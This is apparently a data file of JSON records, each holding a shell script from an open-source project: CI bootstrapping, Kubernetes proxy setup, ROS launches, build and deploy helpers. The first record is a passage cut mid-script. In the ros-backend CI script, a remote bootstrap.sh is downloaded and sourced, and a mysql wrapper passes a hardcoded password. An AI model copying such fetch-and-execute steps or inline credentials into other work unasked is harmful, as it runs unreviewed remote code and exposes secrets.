)\"/logs\"\nMDSTUDIO_PYTHON=$( which python )\n\n# Create temporate files directory for services\nALL_SERVICES=(${SERVICES[@]} ${STANDALONE_SERVICES[@]})\nfor s in ${ALL_SERVICES[@]}; do\n mkdir -p ${WORKDIR}/${s}\ndone\n\n# start docker microservices\ndocker-compose up -d crossbar common_resources\ndocker-compose up -d ${SERVICES[@]}\n\n\n# Start standalone components locally\n# These are expected to have been installed locally by the user\n# Store process PID's in a local file to be used by MDStudio's 'stop.sh' script to\n# terminate standalone services.\n\n# Remove PID file\nif [[ -e standalone.pid ]]; then\n\trm standalone.pid\nfi\n\n# Start standalone components locally\nfor service in ${STANDALONE_SERVICES[@]}; do\n\n ${MDSTUDIO_PYTHON} -u -m ${service} >> ${MDSTUDIO_LOGS}\"/standalone.log\" &\n\tspid=$!\n\techo ${spid} >> standalone.pid\n echo \"Starting ${service} as standalone component status code: $? PID: ${spid}\"\n\ndone"} {"text": "#!/bin/bash\n\n# --------------------------------------------\n# Options that must be configured by app owner\n# --------------------------------------------\nexport APP_NAME=\"ros\" # name of app-sre \"application\" folder this component lives in\nexport COMPONENT_NAME=\"ros-backend\" # name of app-sre \"resourceTemplate\" in deploy.yaml for this component\nexport IMAGE=\"quay.io/cloudservices/ros-backend\"\nexport DOCKERFILE=\"Dockerfile\"\n\nexport IQE_PLUGINS=\"ros\"\nexport IQE_MARKER_EXPRESSION=\"ros_smoke\"\nexport IQE_FILTER_EXPRESSION=\"\"\nexport IQE_CJI_TIMEOUT=\"30m\"\n\n\n# Install bonfire repo/initialize\nCICD_URL=https://raw.githubusercontent.com/RedHatInsights/bonfire/master/cicd\ncurl -s $CICD_URL/bootstrap.sh > .cicd_bootstrap.sh && source .cicd_bootstrap.sh\n\nsource $CICD_ROOT/build.sh\n\n# Deploy ros to an ephemeral namespace for testing\nsource $CICD_ROOT/deploy_ephemeral_env.sh\n\n# Run iqe-ros somke tests with ClowdJobInvocation\nsource $CICD_ROOT/cji_smoke_test.sh"} {"text": "scripts/common/proxy.sh\n\nfunction proxy_bootstrap() {\n if [ -n \"$HTTP_PROXY\" ]; then\n ENV_PROXY_ADDRESS=\"$HTTP_PROXY\"\n export https_proxy=\"$HTTP_PROXY\"\n printf \"The installer will use the proxy at '%s' (imported from env var 'HTTP_PROXY')\\n\" \"$ENV_PROXY_ADDRESS\"\n elif [ -n \"$http_proxy\" ]; then\n ENV_PROXY_ADDRESS=\"$http_proxy\"\n export https_proxy=\"$http_proxy\"\n printf \"The installer will use the proxy at '%s' (imported from env var 'http_proxy')\\n\" \"$ENV_PROXY_ADDRESS\"\n elif [ -n \"$HTTPS_PROXY\" ]; then\n ENV_PROXY_ADDRESS=\"$HTTPS_PROXY\"\n printf \"The installer will use the proxy at '%s' (imported from env var 'HTTPS_PROXY')\\n\" \"$ENV_PROXY_ADDRESS\"\n elif [ -n \"$https_proxy\" ]; then\n ENV_PROXY_ADDRESS=\"$https_proxy\"\n printf \"The installer will use the proxy at '%s' (imported from env var 'https_proxy')\\n\" \"$ENV_PROXY_ADDRESS\"\n fi\n\n if [ -n \"$NO_PROXY\" ]; then\n ENV_NO_PROXY=\"$NO_PROXY\"\n elif [ -n \"$no_proxy\" ]; then\n ENV_NO_PROXY=\"$no_proxy\"\n fi\n\n # Need to peek at the yaml spec to find if a proxy is needed to download the util binaries\n if [ -n \"$INSTALLER_SPEC_FILE\" ]; then\n local overrideProxy=$(grep \"proxyAddress:\" \"$INSTALLER_SPEC_FILE\" | grep -o \"http[^'\\\" ]*\")\n if [ -n \"$overrideProxy\" ]; then\n export https_proxy=\"$overrideProxy\"\n kubectl_no_proxy\n echo \"Bootstrapped proxy address from installer spec file: $https_proxy\"\n return\n fi\n fi\n local proxy=$(echo \"$INSTALLER_YAML\" | grep \"proxyAddress:\" | grep -o \"http[^'\\\" ]*\")\n if [ -n \"$proxy\" ]; then\n export https_proxy=\"$proxy\"\n kubectl_no_proxy\n echo \"Bootstrapped proxy address from installer yaml: $https_proxy\"\n return\n fi\n\n if [ -n \"$ENV_PROXY_ADDRESS\" ]; then\n export https_proxy=\"$ENV_PROXY_ADDRESS\"\n kubectl_no_proxy\n return\n fi\n}\n\nfunction kubectl_no_proxy() {\n if [ ! -f /etc/kubernetes/admin.conf ]; then\n return\n fi\n kubectlEndpoint=$(cat /etc/kubernetes/admin.conf | grep 'server:' | awk '{ print $NF }' | sed -E 's/https?:\\/\\///g')\n splitHostPort \"$kubectlEndpoint\"\n if [ -n \"$no_proxy\" ]; then\n export no_proxy=\"$no_proxy,$HOST\"\n else\n export no_proxy=\"$HOST\"\n fi\n}\n\nfunction configure_proxy() {\n if [ \"$NO_PROXY\" = \"1\" ]; then\n echo \"Not using http proxy\"\n unset PROXY_ADDRESS\n unset http_proxy\n unset HTTP_PROXY\n unset https_proxy\n unset HTTPS_PROXY\n return\n fi\n if [ -z \"$PROXY_ADDRESS\" ] && [ -z \"$ENV_PROXY_ADDRESS\" ]; then\n return\n fi\n if [ -z \"$PROXY_ADDRESS\" ]; then\n PROXY_ADDRESS=\"$ENV_PROXY_ADDRESS\"\n fi\n export https_proxy=\"$PROXY_ADDRESS\"\n echo \"Using proxy address $PROXY_ADDRESS\"\n}\n\nfunction configure_no_proxy_preinstall() {\n if [ -z \"$PROXY_ADDRESS\" ]; then\n return\n fi\n\n local addresses=\"localhost,127.0.0.1,.svc,.local,.default,kubernetes\"\n\n if [ -n \"$ENV_NO_PROXY\" ]; then\n addresses=\"${addresses},${ENV_NO_PROXY}\"\n fi\n if [ -n \"$PRIVATE_ADDRESS\" ]; then\n addresses=\"${addresses},${PRIVATE_ADDRESS}\"\n fi\n if [ -n \"$LOAD_BALANCER_ADDRESS\" ]; then\n addresses=\"${addresses},${LOAD_BALANCER_ADDRESS}\"\n fi\n if [ -n \"$ADDITIONAL_NO_PROXY_ADDRESSES\" ]; then\n addresses=\"${addresses},${ADDITIONAL_NO_PROXY_ADDRESSES}\"\n fi\n\n # filter duplicates\n addresses=$(echo \"$addresses\" | sed 's/,/\\n/g' | sort | uniq | paste -s --delimiters=\",\")\n\n # kubeadm requires this in the environment to reach K8s masters\n export no_proxy=\"$addresses\"\n NO_PROXY_ADDRESSES=\"$addresses\"\n echo \"Exported no_proxy: $no_proxy\"\n}\n\nfunction configure_no_proxy() {\n if [ -z \"$PROXY_ADDRESS\" ]; then\n return\n fi\n\n local addresses=\"localhost,127.0.0.1,.svc,.local,.default,kubernetes\"\n\n if [ -n \"$ENV_NO_PROXY\" ]; then\n addresses=\"${addresses},${ENV_NO_PROXY}\"\n fi\n if [ -n \"$KOTSADM_VERSION\" ]; then\n addresses=\"${addresses},kotsadm-api-node\"\n fi\n if [ -n \"$ROOK_VERSION\" ]; then\n addresses=\"${addresses},.rook-ceph\"\n fi\n if [ -n \"$FLUENTD_VERSION\" ]; then\n addresses=\"${addresses},.logging\"\n fi\n if [ -n \"$REGISTRY_VERSION\" ]; then\n addresses=\"${addresses},.kurl\"\n fi\n if [ -n \"$PROMETHEUS_VERSION\" ]; then\n addresses=\"${addresses},.monitoring\"\n fi\n if [ -n \"$VELERO_VERSION\" ] && [ -n \"$VELERO_NAMESPACE\" ]; then\n addresses=\"${addresses},.${VELERO_NAMESPACE}\"\n fi\n if [ -n \"$MINIO_VERSION\" ] && [ -n \"$MINIO_NAMESPACE\" ]; then\n addresses=\"${addresses},.${MINIO_NAMESPACE}\"\n fi\n\n if [ -n \"$PRIVATE_ADDRESS\" ]; then\n addresses=\"${addresses},${PRIVATE_ADDRESS}\"\n fi\n if [ -n \"$LOAD_BALANCER_ADDRESS\" ]; then\n addresses=\"${addresses},${LOAD_BALANCER_ADDRESS}\"\n fi\n if [ -n \"$KUBERNETES_MASTER_ADDR\" ]; then\n addresses=\"${addresses},${KUBERNETES_MASTER_ADDR}\"\n fi\n if [ -n \"$POD_CIDR\" ]; then\n addresses=\"${addresses},${POD_CIDR}\"\n fi\n if [ -n \"$SERVICE_CIDR\" ]; then\n addresses=\"${addresses},${SERVICE_CIDR}\"\n fi\n if [ -n \"$ADDITIONAL_NO_PROXY_ADDRESSES\" ]; then\n addresses=\"${addresses},${ADDITIONAL_NO_PROXY_ADDRESSES}\"\n fi\n\n # filter duplicates\n addresses=$(echo \"$addresses\" | sed 's/,/\\n/g' | sort | uniq | paste -s --delimiters=\",\")\n\n # kubeadm requires this in the environment to reach K8s masters\n export no_proxy=\"$addresses\"\n NO_PROXY_ADDRESSES=\"$addresses\"\n echo \"Exported no_proxy: $no_proxy\"\n}"} {"text": "#!/bin/bash\n##Vicon\ngnome-terminal --window -e 'bash -c \"roscore; exec bash\"' \\\n--tab -e 'bash -c \"sleep 5; roslaunch mavros px4.launch fcu_url:=\"/dev/ttyTHS1:921600\"; exec bash\"' \\\n--tab -e 'bash -c \"sleep 5; roslaunch px4_command px4_pos_estimator.launch; exec bash\"' \\\n--tab -e 'bash -c \"sleep 5; roslaunch px4_command px4_pos_controller.launch; exec bash\"' \\\n--tab -e 'bash -c \"sleep 5; rosrun px4_command move; exec bash\"' \\\n--tab -e 'bash -c \"sleep 10; roslaunch px4_command tfmini.launch; exec bash\"' \\\n--tab -e 'bash -c \"sleep 5; roslaunch rplidar_ros rplidar.launch; exec bash\"' \\\n--tab -e 'bash -c \"sleep 10; source /home/amov/catkin_ws/devel_isolated/setup.bash; roslaunch cartographer_ros rplidar.launch; exec bash\"' \\"} {"text": "#cat /dev/null > /home/orasd01/alert/logs/error.txt\nexport DT=`date +%d%m%y_%H%M%S`\ndf -h |grep G | tr -s \" \" | cut -d \" \" -f4,5,6|grep -v dev|grep -v tmp | grep -v dump | while read output;\ndo\n echo $output\n usep=$(echo $output | awk '{ print $2}' | cut -d \"%\" -f1 )\n partition=$(echo $output | awk '{ print $3 }' )\n if [ $usep -ge 80 ]; then\n\n echo \"Available space and Used percentage on mountpoint \\\"$output \\\" on $(hostname) as on $(date)\" >> $HOME/alert/logs/error_$DT\n /bin/mailx -s \"Mount point status of SEFPLLIVE DB by PWC Test:FOR $ORACLE_UNQNAME\" , < $HOME/alert/logs/mountpoint_error_$DT\n\n fi\ndone"} {"text": "var/scripts/gen_be/gen_be_stage0_wrf.ksh1-10\n#!/bin/ksh\n#-----------------------------------------------------------------------\n# Script gen_be_stage0_wrf.ksh\n#\n# Purpose: To calculate ensemble perturbations in \"standard fields\".\n#\n# Note: START_DATE and END_DATE are defined as the times of the first and \n# last perturbation. We derive START_DATE_STAGE0 and END_DATE_STAGE0\n# from these using FCST_RANGE1. \n#-----------------------------------------------------------------------\n\n#-----------------------------------------------------------------------------------\n# Don't change anything below this line.\n#-----------------------------------------------------------------------------------\n\nexport REL_DIR=${REL_DIR:-$HOME/trunk}\nexport WRFVAR_DIR=${WRFVAR_DIR:-$REL_DIR/wrfvar}\nexport SCRIPTS_DIR=${SCRIPTS_DIR:-$WRFVAR_DIR/var/scripts}\n\n. ${SCRIPTS_DIR}/gen_be/gen_be_set_defaults.ksh\n\nif [[ ! -d $RUN_DIR ]]; then mkdir $RUN_DIR; fi\nif [[ ! -d $STAGE0_DIR ]]; then mkdir $STAGE0_DIR; fi\n\n#Derive times of initial/final FCST_RANGE forecasts:\nDAAT=${BUILD_DIR}/da_advance_time.exe\nif [[ ! -x $DAAT ]]; then echo \"gen_be_stage0_wrf finds no \" $DAAT;exit; fi\nexport START_DATE_STAGE0=$($DAAT $START_DATE -$FCST_RANGE1)\nexport END_DATE_STAGE0=$($DAAT $END_DATE -$FCST_RANGE1)\nexport DATE=$START_DATE_STAGE0\n\nif [[ $START_DATE_STAGE0 > $END_DATE_STAGE0 ]]; then\n echo \"Start date $START_DATE_STAGE0 must be before $END_DATE_STAGE0!\"\n exit -1\nfi\n\nexport CV_OPTIONS=$NL_CV_OPTIONS #Set CV_OPTIONS (either specified by wrapper or defaults)\n\nwhile [[ $DATE -le $END_DATE_STAGE0 ]]; do\n export TMP_DIR=${WORK_DIR}/${DATE}\n rm -rf ${TMP_DIR} 2>/dev/null\n mkdir ${TMP_DIR} 2>/dev/null\n cd ${TMP_DIR}\n\n #Find the difference between forecast lead times\n export DIFF_FCST=$(($FCST_RANGE1 - $FCST_RANGE2))\n\n if [[ $DIFF_FCST -le 0 ]]; then\n echo \"Later forecast time FCST_RANGE1 ($FCST_RANGE1) must be later than FCST_RANGE2 ($FCST_RANGE2)!\"\n exit -2\n fi\n\n if [[ $NL_CV_OPTIONS == 7 ]]; then\n for SV in u v t rh ps; do mkdir -p $SV; done\n else\n for SV in psi chi t rh ps; do mkdir -p $SV; done\n fi\n\n # Create file dates:\n export FCST_TIME=$($DAAT $DATE $FCST_RANGE1)\n echo \"gen_be_stage0_wrf: Calculating standard perturbation fields valid at time \" $FCST_TIME\n\n export YYYY=$(echo $FCST_TIME | cut -c1-4)\n export MM=$(echo $FCST_TIME | cut -c5-6)\n export DD=$(echo $FCST_TIME | cut -c7-8)\n export HH=$(echo $FCST_TIME | cut -c9-10)\n if $NOCOLONS; then\n export FILE_DATE=${YYYY}-${MM}-${DD}_${HH}_00_00\n else\n export FILE_DATE=${YYYY}-${MM}-${DD}_${HH}:00:00\n fi\n export FILE=${FC_DIR}/${DATE}/wrfout_d${DOMAIN}_${FILE_DATE}\n export FILE1=wrfout_d${DOMAIN}_${FILE_DATE}\n export NEXT_DATE=$($DAAT $DATE $DIFF_FCST)\n if [[ $BE_METHOD == NMC ]]; then\n export FILE2=wrfout_d${DOMAIN}_${FILE_DATE}.e001\n export FILE3=wrfout_d${DOMAIN}_${FILE_DATE}.e002\n ln -sf $FILE $FILE1\n ln -sf $FILE $FILE2\n ln -sf ${FC_DIR}/${NEXT_DATE}/wrfout_d${DOMAIN}_${FILE_DATE} $FILE3\n fi\n if [[ $BE_METHOD == ENS ]]; then\n typeset -Z3 count\n count=1 \n while [[ $count -le ${NE} ]];do\n ln -sf ${FC_DIR}/${DATE}.e${count}/wrfout_d${DOMAIN}_${FILE_DATE} wrfout_d${DOMAIN}_${FILE_DATE}.e${count}\n (( count += 1 ))\n done\n fi\n\n ln -fs ${BUILD_DIR}/gen_be_stage0_wrf.exe .\n ./gen_be_stage0_wrf.exe ${BE_METHOD} ${FCST_TIME} $NE $FILE1 ${CV_OPTIONS} > gen_be_stage0_wrf.${FCST_TIME}.log 2>&1\n\n # Tidy:\n mv pert.${FCST_TIME}* ${STAGE0_DIR}\n # mv mean.${FCST_TIME}* ${STAGE0_DIR}\n mv gen_be_stage0_wrf.${FCST_TIME}.log ${STAGE0_DIR}\n # rm -rf $TMP_DIR 2> /dev/null\n\n echo $DATE $FILE ${FC_DIR}/${NEXT_DATE}/wrfout_d${DOMAIN}_${FILE_DATE}\n export DATE=$($DAAT $DATE $INTERVAL)\n\ndone # End loop over dates.\n\nexit 0"} {"text": "1-10\n#\n#=========================================================================================\n# Command\n#\n\nfunction init_usage () {\n cat <&2\n\nInitialize Zimagi development environment.\n\nUsage:\n\n reactor init [] [flags] [options]\n\nFlags:\n${__zimagi_reactor_core_flags}\n\n -b --skip-build Skip Docker image build step\n -n --no-cache Regenerate all intermediate images\n -u --up Startup development environment after initialization\n\nOptions:\n\n --runtime Zimagi Docker runtime (standard or nvidia): ${DEFAULT_DOCKER_RUNTIME}\n --tag Zimagi Docker tag: ${DEFAULT_DOCKER_TAG}\n --password Zimagi Docker user password: ${DEFAULT_USER_PASSWORD}\n --data-key Zimagi data encryption key: ${DEFAULT_DATA_KEY}\n --admin-key Zimagi admin user API encryption key: ${DEFAULT_ADMIN_API_KEY}\n --admin-token Zimagi admin user API token: ${DEFAULT_ADMIN_API_TOKEN}\n\nEOF\n exit 1\n}\nfunction init_command () {\n APP_NAME=\"\"\n\n while [[ $# -gt 0 ]]; do\n case \"$1\" in\n --runtime=*)\n DOCKER_RUNTIME=\"${1#*=}\"\n ;;\n --runtime)\n DOCKER_RUNTIME=\"$2\"\n shift\n ;;\n --tag=*)\n DOCKER_TAG=\"${1#*=}\"\n ;;\n --tag)\n DOCKER_TAG=\"$2\"\n shift\n ;;\n --password=*)\n USER_PASSWORD=\"${1#*=}\"\n ;;\n --password)\n USER_PASSWORD=\"$2\"\n shift\n ;;\n --data-key=*)\n DATA_KEY=\"${1#*=}\"\n ;;\n --data-key)\n DATA_KEY=\"$2\"\n shift\n ;;\n --admin-key=*)\n ADMIN_API_KEY=\"${1#*=}\"\n ;;\n --admin-key)\n ADMIN_API_KEY=\"$2\"\n shift\n ;;\n --admin-token=*)\n ADMIN_API_TOKEN=\"${1#*=}\"\n ;;\n --admin-token)\n ADMIN_API_TOKEN=\"$2\"\n shift\n ;;\n -u|--up)\n START_UP=1\n ;;\n -b|--skip-build)\n SKIP_BUILD=1\n ;;\n -n|--no-cache)\n NO_CACHE=1\n ;;\n -h|--help)\n init_usage\n ;;\n *)\n if [[ \"$1\" == \"-\"* ]] || ! [ -z \"$APP_NAME\" ]; then\n error \"Unknown argument: ${1}\"\n init_usage\n fi\n APP_NAME=\"${1}\"\n ;;\n esac\n shift\n done\n APP_NAME=\"${APP_NAME:-$DEFAULT_APP_NAME}\"\n DOCKER_RUNTIME=\"${DOCKER_RUNTIME:-$DEFAULT_DOCKER_RUNTIME}\"\n DOCKER_TAG=\"${DOCKER_TAG:-$DEFAULT_DOCKER_TAG}\"\n USER_PASSWORD=\"${USER_PASSWORD:-$}\"\n DATA_KEY=\"${DATA_KEY:-$DEFAULT_DATA_KEY}\"\n ADMIN_API_KEY=\"${ADMIN_API_KEY:-$DEFAULT_ADMIN_API_KEY}\"\n ADMIN_API_TOKEN=\"${ADMIN_API_TOKEN:-$DEFAULT_ADMIN_API_TOKEN}\"\n START_UP=${START_UP:-0}\n SKIP_BUILD=${SKIP_BUILD:-0}\n NO_CACHE=${NO_CACHE:-0}\n\n debug \"Command: init\"\n debug \"> APP_NAME: ${APP_NAME}\"\n debug \"> DOCKER_RUNTIME: ${DOCKER_RUNTIME}\"\n debug \"> DOCKER_TAG: ${DOCKER_TAG}\"\n debug \"> USER_PASSWORD: ${USER_PASSWORD}\"\n debug \"> DATA_KEY: ${DATA_KEY}\"\n debug \"> ADMIN_API_KEY: ${ADMIN_API_KEY}\"\n debug \"> ADMIN_API_TOKEN: ${ADMIN_API_TOKEN}\"\n debug \"> START_UP: ${START_UP}\"\n debug \"> SKIP_BUILD: ${SKIP_BUILD}\"\n debug \"> NO_CACHE: ${NO_CACHE}\"\n\n info \"Initializing Zimagi environment ...\"\n init_environment \"$APP_NAME\" \"$DOCKER_RUNTIME\" \"$DOCKER_TAG\" \"$USER_PASSWORD\" \"$DATA_KEY\" \"$ADMIN_API_KEY\" \"$ADMIN_API_TOKEN\"\n\n info \"Initializing Zimagi folder structure ...\"\n create_folder \"${__zimagi_binary_dir}\"\n create_folder \"${__zimagi_data_dir}\"\n create_folder \"${__zimagi_lib_dir}\"\n remove_file \"${__zimagi_cli_env_file}\"\n\n info \"Checking development software requirements ...\"\n check_binary docker\n check_binary git\n check_binary curl\n check_binary openssl\n\n info \"Downloading local software dependencies ...\"\n download_binary skaffold \"https://storage.googleapis.com/skaffold/releases/latest/skaffold-linux-amd64\" \"${__zimagi_binary_dir}\"\n download_binary minikube \"https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64\" \"${__zimagi_binary_dir}\"\n download_binary kubectl \"https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl\" \"${__zimagi_binary_dir}\"\n install_helm\n\n info \"Initializing git repositories ...\"\n [[ -d \"${__zimagi_build_dir}\" ]] || download_git_repo https://github.com/zimagi/build.git \"${__zimagi_build_dir}\"\n [[ -d \"${__zimagi_certs_dir}\" ]] || download_git_repo https://github.com/zimagi/certificates.git \"${__zimagi_certs_dir}\"\n [[ -d \"${__zimagi_charts_dir}\" ]] || download_git_repo https://github.com/zimagi/charts.git \"${__zimagi_charts_dir}\"\n\n info \"Building Zimagi image ...\"\n build_image \"$USER_PASSWORD\" \"$SKIP_BUILD\" \"$NO_CACHE\"\n\n info \"Zimagi development environment initialization complete\"\n\n if [ $START_UP -eq 1 ]; then\n info \"Starting up development environment ...\"\n up_command\n fi\n}"} {"text": "clear\n\necho 'Figlet.'\nsleep 2\n\necho '\n\tFirst you need to install Figlet. e.g brew install figlet in mac os.\n Now we can use figlet instead echo command.\n\n figlet \"Hello World\"\n\n\tLets try this `figlet \"Hello World\"`\n\t=======================================================================================================================================\n'\n\nsleep 2\n\nfiglet 'Hello World'\necho \"\n\t=======================================================================================================================================\n\"\nexit 0\nsleep 5\n\n\n\necho 'While loop using figlet'\nsleep 2\n\necho '\n\tlet x=10\n while [ $x -gt 0 ]\n do\n clear\n figlet $x\n sleep 1\n let x-=1\n done\n\n\tLets run this `loop`\n\t=======================================================================================================================================\n'\n\nlet x=10\nwhile [ $x -gt 0 ]\ndo\n clear\n figlet $x\n sleep 1\n let x-=1\ndone\n\necho '\n\t=======================================================================================================================================\n'\nsleep 5\nexit 0"} {"text": "#! /bin/bash\n\nset -x\nset -e\n\nexport BOARD=ZCU111\nexport PYNQ_JUPYTER_NOTEBOOKS=/home/xilinx/jupyter_notebooks\n\n# Patch out cause of \"require js\" error in lab\npatch --ignore-whitespace /usr/local/lib/python3.6/dist-packages/pynq/lib/pynqmicroblaze/magic.py << 'EOF'\n--- /usr/local/lib/python3.6/dist-packages/pynq/lib/pynqmicroblaze/magic.py\t2019-02-21 20:26:36.000000000 +0000\n+++ magic.py\t2019-04-08 22:45:31.000000000 +0000\n@@ -98,4 +98,4 @@\n if instance:\n get_ipython().register_magics(MicroblazeMagics)\n- display_javascript(js, raw=True)\n+ #display_javascript(js, raw=True)\nEOF\n\n# Install RFSoC overlays\npip3 install https://github.com/Xilinx/SDFEC-PYNQ/releases/download/v2.0_$BOARD/rfsoc_sdfec-2.0-py3-none-any.whl --no-deps\npip3 install git+https://github.com/strath-sdr/rfsoc_qpsk@594268d --no-deps\npip3 install https://github.com/Xilinx/DSP-PYNQ/releases/download/v2.0_$BOARD/dsp_pynq-2.0-py3-none-any.whl --no-deps\n\n# Install workshop notebooks\ngit clone https://github.com/Xilinx/PYNQ_RFSOC_Workshop.git --branch image_v2.6.0 pynq_rfsoc_workshop\nmake -C pynq_rfsoc_workshop install\nrm -rf pynq_rfsoc_workshop\nrm -rf \"$PYNQ_JUPYTER_NOTEBOOKS/rfsoc_qpsk\""} {"text": "#!/bin/bash\n\nset -eux\n\n# Check that the working directory is a git repository and the repository has no outstanding changes.\ngit diff-index --quiet HEAD\n\ncommit=$(git show -s --format=%h)\n\ngit checkout gh-pages\n\ngit merge \"$commit\"\n\nbash scripts/docs-build.sh\n\ngit add .\n\ngit commit -am \"Rebuild documentation ($commit)\"\n\necho \"Verify that you didn't break anything:\"\necho \" $ python -m SimpleHTTPServer 8000\"\necho \" $ xdg-open http://localhost:8000/\"\necho \"\"\necho \"Then push to the gh-pages branch:\"\necho \" $ git push gh-pages\""} {"text": "#!/bin/bash\n\ncd `dirname $0`\n\nexport PATH=\"$PATH:/sbin:/usr/sbin:/usr/local/sbin\"\n\n# this script assumes default values for the database connection\n# should anything be different feel free to change this file\n\n../mysql_store/current/bin/mysql -u mon_user -pmon_pass -h 127.0.0.1 -P 3306 mon_data"} {"text": "#!/bin/bash\n\nset -u\n\nsource /usr/local/bin/functions.sh\n\nNGINX_LABEL=\"com.github.jrcs.letsencrypt_nginx_proxy_companion.nginx_proxy\"\nNGINX_CONTAINER=$(find_labeled_containers \"${NGINX_LABEL}\")\n\n# test and reload config together\ndocker_exec \"${NGINX_CONTAINER}\" \"test_and_reload.sh\""} {"text": "mrasan/adf_library_build\n#!/bin/bash\nfunction copy_with_structure(){\n\tDIR_LEN=${#1}\n\tSUB=${2:${DIR_LEN}}\n\tDEST=${3}/$SUB\n\tDEST_DIR=`dirname $DEST`\n\tif [ ! -d $DEST_DIR ]; then\n\t\tmkdir -p $DEST_DIR\n\tfi\n\tcp $2 $DEST\n}\nstrindex() { \n x=\"${1%%$2*}\"\n [[ \"$x\" = \"$1\" ]] && echo -1 || echo \"${#x}\"\n}\nget_taskflow_parameters(){\n\tTEXT=$(<$1)\n\ts1=\"input-parameter-definition\"\n\ts2=\"\"\n\twhile :\n\tdo\n\t\tstart=`strindex \"$TEXT\" \"$s1\"`\n\t\tif [ \"$start\" = \"-1\" ]; then\n\t\t\tbreak\n\t\tfi\n\t\tend=`strindex \"$TEXT\" $s2`\n\t\tsub=\"${TEXT:$start:$end-$start}\"\n\t\tif [ ! \"$parameter\" = \"\" ]; then\n\t\t\tparameter=\"${parameter} \"\n\t\tfi\n\t\tp=`echo \"$sub\"|grep \"name\"|cut -d \">\" -f 2|cut -d \"<\" -f 1`\n\t\tparameter=\"${parameter}${p}\"\n\t\tTEXT=\"${TEXT:$end+${#s2}}\"\n\tdone\n\techo $parameter\n}\nADF_WORKSPACE=$1\nADF_MODULES=$2\nADF_DEPLOY=$ADF_WORKSPACE/deploy\nFLAG=1\n#init\nrm -rf ${ADF_DEPLOY}\nmkdir -p ${ADF_DEPLOY}\nmkdir -p ${ADF_DEPLOY}/META-INF\nmkdir -p ${ADF_DEPLOY}/WEB-INF\n\n#test\nADF_VIEW=${ADF_WORKSPACE}/ViewController\n\n\nfor jar in $ADF_MODULES/*\ndo\n\tif [ $FLAG = 0 ]; then\n\t\tCLASS_PATH=\"${CLASS_PATH}:\"\n\tfi\n\tFLAG=0\n\tCLASS_PATH=\"${CLASS_PATH}$jar\"\ndone\n#compile model java source files\nADF_MODEL=${ADF_WORKSPACE}/Model\nfor x in `find ${ADF_MODEL}/src -name \"*.java\"`\ndo\n\tSOURCE_FILE=\"${SOURCE_FILE}${x} \"\ndone\njavac -classpath ${CLASS_PATH} -d $ADF_DEPLOY ${SOURCE_FILE}\n\n#compile view java source files\nADF_VIEW=${ADF_WORKSPACE}/ViewController\nSOURCE_FILE=\"\"\nfor x in `find ${ADF_VIEW}/src -name \"*.java\"`\ndo\n\tSOURCE_FILE=\"${SOURCE_FILE}${x} \"\ndone\njavac -classpath ${CLASS_PATH} -d $ADF_DEPLOY ${SOURCE_FILE}\n\n#copy files\ncp $ADF_VIEW/public_html/WEB-INF/adfc-config.xml $ADF_DEPLOY/META-INF/\ncp $ADF_VIEW/public_html/WEB-INF/faces-config.xml $ADF_DEPLOY/META-INF/\ncp $ADF_VIEW/adfmsrc/META-INF/adfm.xml $ADF_DEPLOY/META-INF/\ncp -R $ADF_VIEW/public_html/WEB-INF/ $ADF_DEPLOY/WEB-INF\n\n#copy taskflows\nTASKFLOW_REGISTRY=$ADF_DEPLOY/META-INF/task-flow-registry.xml\necho -e \"\\n\" >>$TASKFLOW_REGISTRY\necho -e \"\\n\" >>$TASKFLOW_REGISTRY\nfor x in `find $ADF_DEPLOY/WEB-INF -name \"*.xml\"`\ndo\n\tgrep \"task-flow-definition\" $x >/dev/null\n\tif [ $? -ne 0 ]; then\n\t\trm -rf $x\n\telse\n\t\t#write taskflow-registy\n\t\tTASKFLOW_NAME=`basename ${x} .xml`\n\t\tPARAMETERS=`get_taskflow_parameters ${x}`\n\t\tINDEX=`strindex \"$x\" \"WEB-INF\"`\n\t\techo -e \"\\n\" >>$TASKFLOW_REGISTRY\n\t\tfor y in $PARAMETERS\n\t\tdo\n\t\t\tif [ ! \"${y}\" = \"\" ]; then\n\t\t\t\techo -e \"\\n\" >>$TASKFLOW_REGISTRY\n\t\t\tfi\n\t\tdone\n\t\techo -e \"\\n\" >>$TASKFLOW_REGISTRY\n\tfi\ndone\necho \"\" >>$TASKFLOW_REGISTRY\n\nif [ -f \"$ADF_VIEW/public_html/WEB-INF/weblogic.xml\" ]; then\n\tcp $ADF_VIEW/public_html/WEB-INF/weblogic.xml $ADF_DEPLOY/WEB-INF/\nfi\n#copy defination\nfor x in `find $ADF_VIEW/adfmsrc ! -wholename \"*META-INF*\" -type f`\ndo\n\tcopy_with_structure ${ADF_VIEW}/adfmsrc/ $x ${ADF_DEPLOY}\ndone\n#copy jsffs...\nfor x in `find $ADF_VIEW/public_html ! -name \"*.xml\" -type f`\ndo\n\tcopy_with_structure $ADF_VIEW/public_html $x ${ADF_DEPLOY}\ndone\n#copy bc components\nfor x in `find $ADF_MODEL/src ! -name \"*.java\" -type f`\ndo\n\tcopy_with_structure $ADF_MODEL/src $x ${ADF_DEPLOY}\ndone\n\n#package to jar\ncd ${ADF_WORKSPACE}/deploy\njar -cvf deploy.jar *\n\nexit 0"} {"text": "2.sh\n#!/bin/sh \nword1=Hello \nword2=How \nword3=you \nword4=are\necho “$word2 $word4 $word2? $word1?!?”"} {"text": "XFJ712/RAN\n#!/bin/bash\n#/*\n# * Licensed to the OpenAirInterface (OAI) Software Alliance under one or more\n# * contributor license agreements. See the NOTICE file distributed with\n# * this work for additional information regarding copyright ownership.\n# * The OpenAirInterface Software Alliance licenses this file to You under\n# * the OAI Public License, Version 1.1 (the \"License\"); you may not use this file\n# * except in compliance with the License.\n# * You may obtain a copy of the License at\n# *\n# * http://www.openairinterface.org/?page_id=698\n# *\n# * Unless required by applicable law or agreed to in writing, software\n# * distributed under the License is distributed on an \"AS IS\" BASIS,\n# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# * See the License for the specific language governing permissions and\n# * limitations under the License.\n# *-------------------------------------------------------------------------------\n# * For more information about the OpenAirInterface (OAI) Software Alliance:\n# * \n# */\n\nfunction create_usage {\n echo \"OAI CI VM script\"\n echo \" Original Author: \"\n echo \" Requirements:\"\n echo \" -- uvtool uvtool-libvirt apt-cacher\"\n echo \" -- $VM_OSREL image already synced\"\n echo \" Default:\"\n echo \" -- eNB with USRP\"\n echo \"\"\n echo \"Usage:\"\n echo \"------\"\n echo \" oai-ci-vm-tool create 